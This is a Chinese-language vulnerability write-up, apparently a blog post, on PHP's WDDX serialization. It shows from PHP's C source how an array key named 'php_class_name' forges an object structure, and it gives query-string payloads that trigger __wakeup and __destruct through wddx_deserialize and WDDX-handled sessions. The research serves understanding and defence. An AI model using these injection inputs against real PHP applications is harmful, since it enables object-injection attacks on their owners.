PHP 在把数组序列化为 WDDX 结构的过程中,没有对数组的键名严格限制,导致可以伪造对象的 WDDX 结构。
i 序列化对象
PHP 在把对象序列化为 WDDX 结构时,会做如下处理:
#!cpp
static void php_wddx_serialize_object(wddx_packet *packet, zval *obj)
...
php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR);
php_wddx_add_chunk(packet, tmp_buf);
php_wddx_add_chunk_static(packet, WDDX_STRING_S);
php_wddx_add_chunk_ex(packet, class_name->val, class_name->len);
php_wddx_add_chunk_static(packet, WDDX_STRING_E);
php_wddx_add_chunk_static(packet, WDDX_VAR_E);
}
比如下面代码中的变量 $obj:
#!php
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi, "\n";
}
}
$obj = new ryat();
$obj->hi = 'ryat';
var_dump(wddx_serialize_value($obj));
经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下:
<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
ii 序列化数组
PHP 把数组序列化为 WDDX 结构时,会做如下处理:
#!cpp
static void php_wddx_serialize_array(wddx_packet *packet, zval *arr)
{
...
target_hash = HASH_OF(arr);
ZEND_HASH_FOREACH_KEY(target_hash, idx, key) {
if (key) {
is_struct = 1;
break;
}
if (idx != ind) {
is_struct = 1;
break;
}
ind++;
} ZEND_HASH_FOREACH_END();
if (is_struct) {
php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
} else {
snprintf(tmp_buf, sizeof(tmp_buf), WDDX_ARRAY_S, zend_hash_num_elements(target_hash));
php_wddx_add_chunk(packet, tmp_buf);
}
ZEND_HASH_FOREACH_KEY_VAL(target_hash, idx, key, ent) {
if (ent == arr) {
continue;
}
if (is_struct) {
if (key) {
php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
} else {
key = zend_long_to_str(idx);
php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
zend_string_release(key);
}
} else {
php_wddx_serialize_var(packet, ent, NULL TSRMLS_CC);
}
} ZEND_HASH_FOREACH_END();
if (is_struct) {
php_wddx_add_chunk_static(packet, WDDX_STRUCT_E);
} else {
php_wddx_add_chunk_static(packet, WDDX_ARRAY_E);
}
}
...
void php_wddx_serialize_var(wddx_packet *packet, zval *var, zend_string *name TSRMLS_DC)
{
...
if (name) {
char *tmp_buf;
zend_string *name_esc;
name_esc = php_escape_html_entities(name->val, name->len, 0, ENT_QUOTES, NULL TSRMLS_CC);
tmp_buf = emalloc(name_esc->len + sizeof(WDDX_VAR_S));
snprintf(tmp_buf, name_esc->len + sizeof(WDDX_VAR_S), WDDX_VAR_S, name_esc->val);
php_wddx_add_chunk(packet, tmp_buf);
efree(tmp_buf);
zend_string_release(name_esc);
}
从上面的代码可以看到,数组序列化后的 WDDX 结构主要分为两种,一种是没有指定键名的数组的处理,比如下面代码中的变量 $arr:
#!php
$arr = array('hi', 'ryat');
var_dump(wddx_serialize_value($arr));
经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下:
<wddxPacket version='1.0'><header/><data><array length='2'><string>hi</string><string>ryat</string></array></data></wddxPacket>
另一种则是对指定键名的数组的处理,比如下面代码中的变量 $arr:
#!php
$arr = array('hi'=>'hi', 'ryat'=>'ryat');
var_dump(wddx_serialize_value($arr));
经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下:
<wddxPacket version='1.0'><header/><data><struct><var name='hi'><string>hi</string></var><var name='ryat'><string>ryat</string></var></struct></data></wddxPacket>
iii 伪造对象的 WDDX 结构
通过上面的分析,简单了解 WDDX 结构存储 PHP 数组和对象的具体格式,对象的存储格式和指定键名的数组的存储格式非常接近,区别只在于,对象的存储格式多了对类名的存储:
<var name='php_class_name'><string>ryat</string></var>
PHP 在把数组序列化 WDDX 结构过程中,仅仅调用了 php_escape_html_entities() 函数处理,然后直接构造 WDDX_VAR_S:
#define WDDX_VAR_S "<var name='%s'>"
那么如果数组中存在一个值为 php_class_name 的键名,就可以构造出:
<var name='php_class_name'><string>ryat</string></var>
这时序列化的 WDDX 结构就和对象的一样了,如下面代码中的变量 $arr:
#!php
$arr = array('php_class_name'=>'ryat', 'hi'=>'ryat');
var_dump(wddx_serialize_value($arr));
经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下:
<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
可以看到,序列化的 WDDX 结构和第一个例子中的 $obj 对象序列化的 WDDX 结构是一样的,也就说,通过一个特殊的数组伪造了一个对象的 WDDX 结构:)
iv 安全隐患
PHP 反序列化 WDDX 结构的处理过程类似于 unserialize() 函数,通过对特定的 WDDX 结构反序列化,可以生成一个对象,并执行类的 __wakeup() 方法(如果存在的话),在对象被销毁或者脚本执行结束时会执行类的 __destruct() 方法(如果存在的话),那么安全隐患随之而来。而比 unserialize() 函数更危险的是,反序列化过程和序列化过程都可能存在安全问题:)
i) 利用 wddx_deserialize() 函数
#!php
class ryat {
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi, "\n";
}
}
wddx_deserialize(wddx_serialize_value($_GET['arr']);
通过下面的方式,可以成功执行 __wakeup() 方法和 __destruct() 方法:)
?arr[php_class_name]=ryat&arr[hi]=ryat
ii) 利用 $_SESSION 进行序列化和反序列化
PHP 在存储和读取 $_SESSION 时会对数据进行序列化和反序列化,默认情况下与 serialize() 函数和 unserialize() 函数的处理方式相同,但是 PHP 提供了一个 session.serialize_handler 配置选项,可以使用 WDDX 格式进行序列化和反序列化:)
#!php
ini_set('session.serialize_handler', 'wddx');
session_start();
$_SESSION['arr'] = $_GET['arr'];
通过下面的方式,就可以伪造成对象的 WDDX 结构:)
?arr[php_class_name]=ryat&arr[hi]=ryat